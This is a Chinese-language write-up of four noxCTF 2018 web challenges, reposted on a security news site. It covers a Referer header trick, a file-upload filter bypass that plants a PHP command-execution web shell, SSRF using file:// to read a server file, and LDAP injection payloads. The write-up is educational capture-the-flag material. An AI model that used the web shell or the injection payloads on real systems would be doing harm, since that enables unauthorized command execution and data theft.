2018-noxCTF-Web 解析

阅读量292476

|评论2

发布时间 : 2018-09-12 14:30:46

额~菜鸡一枚,五题只做出四题,感觉学到了新知识,写了下writeup。

 

Web

Reference

What is your reference again?

http://chal.noxale.com:5000

打开网页,如下页面

1536494190208

查看源代码,发现其中的<script src="js/index.js"></script>,点进去

1536494331902

嗯接着访问下,发现新的页面,抓包分析,添上头Referer: http://google.com

1536494546331

解码得到flag1536494580454

最终答案:noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}

MyFileUploader

This is my new file uploader server. I bet you can't hack it!

http://chal.noxale.com:8079

是个上传题,写了个shell.txt,内容为<?php system($_GET[‘cmd’]); ?>,尝试上传

1536494868896

There is no .png/.jpg/.gif in that file name ,尝试抓包改Content-Type:image/png ,发现无果。1536495853127

再改名称为filename="shell.png.txt",成功上传,但是发现无法解析。

1536495147596

再改名称为filename="shell.png.php",上传的路径为'uploads/shell.png',可见过滤到.php

1536495949702

再改名称为filename="shell.png.php.php",成功解析。

1536495398824

执行命令,ls%20-la,发现了个7H3-FL4G-1S-H3r3root权限

1536495648131

再来一次命令:ls%207H3-FL4G-1S-H3r3

1536496241737最终答案:noxCTF{N3V3R_7RU57_07H3R5}

hiddenDOM

I decided to create a tool that searches for
hidden elements inside a web pages.
Few days ago someone told me that my website is not so /secure/...
Can you check it yourself ?

http://13.59.2.198:5588

此题说来,不算难,类似LCTF2017的签到题(别问我怎么知道,那个时候连LCTF2017的签到题都没做出来,印象特深),但又添加了其他的知识点,添加了题目的脑洞性(趣味性)。先放出LCTF2017签到题的wrtieup

1536581827700

en~就是这么简单。

打开网页,发现了一些可疑之处,可以查看网页源代码部分,或者查看控制台。

1536498304037

其中js代码为以下,还给了个<a href='/var/www/html/flag.txt' hidden>-_-</a>

var _0x3bc3=["x6Dx61x69x6Ex5Fx66x6Fx72x6D","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x69x6Ex70x75x74","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x6Ex61x6Dx65","x65x78x70x72x65x73x73x69x6Fx6E","x73x65x74x41x74x74x72x69x62x75x74x65","x74x79x70x65","x74x65x78x74","x70x6Cx61x63x65x68x6Fx6Cx64x65x72","x2Fx3Cx5Bx5Ex3Cx3Ex5Dx7Bx31x2Cx7Dx68x69x64x64x65x6Ex5Bx5Ex3Cx3Ex5Dx7Bx31x2Cx7Dx3Ex2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])

尝试16进制解码下

var _frss = document['getElementById']('main_form');
var _xEger = document['createElement']('input');
_xEger['setAttribute']('name', 'expression');
_xEger['setAttribute']('type', 'text');
_xEger['setAttribute']('placeholder', '/<[^<>]{1,}hidden[^<>]{1,}>/')

em~,好像隐藏了什么东西,算了,先控制台调试下

1536498717396

发现调试_xEger的时候,有

<input name=”expression” type=”text” placeholder=”/<[^<>]{1,}hidden[^<>]{1,}>/”>

经过各种调试,可以发现,expression这个控制了回显数据的完整性。

咯,我们测试一下,先提交http://13.59.2.198:5588/index.php?target=http://13.59.2.198:5588,发现是隐藏的

1536499133177

再提交http://13.59.2.198:5588/index.php?target=http://13.59.2.198:5588&expression=/.*/,发现成功显示出所有源代码。

1536499252455

好了,是不是有点奇怪得到这些,我们能干嘛呢?其实这题还考察了关于ssrf相关的知识,filehttpftp的应用。是的,你猜的没错,前面源代码提示的<a href='/var/www/html/flag.txt' hidden>-_-</a>,这个链接是打不开的。这里额外分析下,ssrf的相关知识点,一般需要通过一些协议比如:ftp://ssh://dict://gopher://file://等获取shell或者一些敏感信息,此处非常这明显,flag.txt我们打不开,但是又给了目录,所以通过file协议读取成为解题的关键步骤

1536499630823

这里我们用file协议去读flag的目录,构造http://13.59.2.198:5588/index.php?target=file:///var/www/html/flag.txt,发现是空的

1536499781263

通过上面的分析,我们再次构造,后面加上个&expression=/.*/,得到flag

1536499736586

最终答案:noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}

Dictionary of obscure sorrows

There are a lot of obscure sorrows in our world.
Your job is not to find those that are plain in sight;
You need to seek further, look deeper.
Find the word that can not be written.
The most obscure sorrow of them all.

http://54.152.220.222/

这题,先说说感受吧。感觉、有点小难度,但是可以通过学习,得到题解,关键是这次是我第一次玩LDAP注入,这种注入,感觉国内ctf赛事,考察的不是很多。

打开链接,呈现以下网页。

1536539086827

手工fuzz一番,发现无果。御剑、awvs扫一番,awvs倒是有一些线索,发现了word.php

1536539324248

再仔细查看了下网页的源代码,发现下面也有这些,是不是大惊小怪了?

1536539474274

难道是word.php存在sql注入?测试一波无果,但是接下来的发现,让我有了其他想法。

1536539685160

提示Missing RDN inside ObjectClass(document),网上搜索一番

1536547256883

许多词条都含有关键词LDAP,搜索一番,学习了下LDAP基础概念(此处认真,仔细查看,否则后面看不懂)。再搜索一番LDAP的安全问题,其中查询到LDAP注入(菜鸡我第一次听到),继续搜索资料,找到LDAP ObjectClasses,其中有

1536563809489

再回头看看刚刚的

1536539685160

所以我们知道了ObjectClassdocument,又因为属于document的有11

  • commonName
  • description
  • seeAlso
  • l
  • o
  • ou
  • documentTitle
  • documentVersion
  • documentAuthor
  • documentLocation
  • documentPublisher

测试一番发现,http://54.152.220.222/word.php?page=*)(|(no=*),回显页面如下

1536565484665

http://54.152.220.222/word.php?page=*)(|(seeAlso=*)也是同样的Query returned empty,接下来的剩下的几种依次带进去,发现只有documentAuthordescription是正常的回显。

而我们又知道flag的格式是noxCTF{}。再通过网上搜索学习,学习了有关的LDAP注入的姿势,这里放出一道跟本题十分相似的链接,其中有以下页面

1536561851198

模仿构造http://54.152.220.222/word.php?page=*)(|(description=noxCTF*),可以得到flag

1536549649887当然,也可以构造http://54.152.220.222/word.php?page=*)(description=noxCTF*,得到flag

1536549750782

最终答案:noxCTF{K1NG_0F_LD4P}

此题相关资料链接:

技术详解:基于Web的LDAP注入漏洞

Testing for LDAP Injection (OTG-INPVAL-006):
https://www.owasp.org/index.php/Testing_for_LDAP_Injection_(OTG-INPVAL-006)

本文转载自: jianghuxia.github.io

如若转载,请注明出处: https://jianghuxia.github.io/2018/09/10/noxCTF2018-web%E8%A7%A3%E6%9E%90/

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
汕口
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66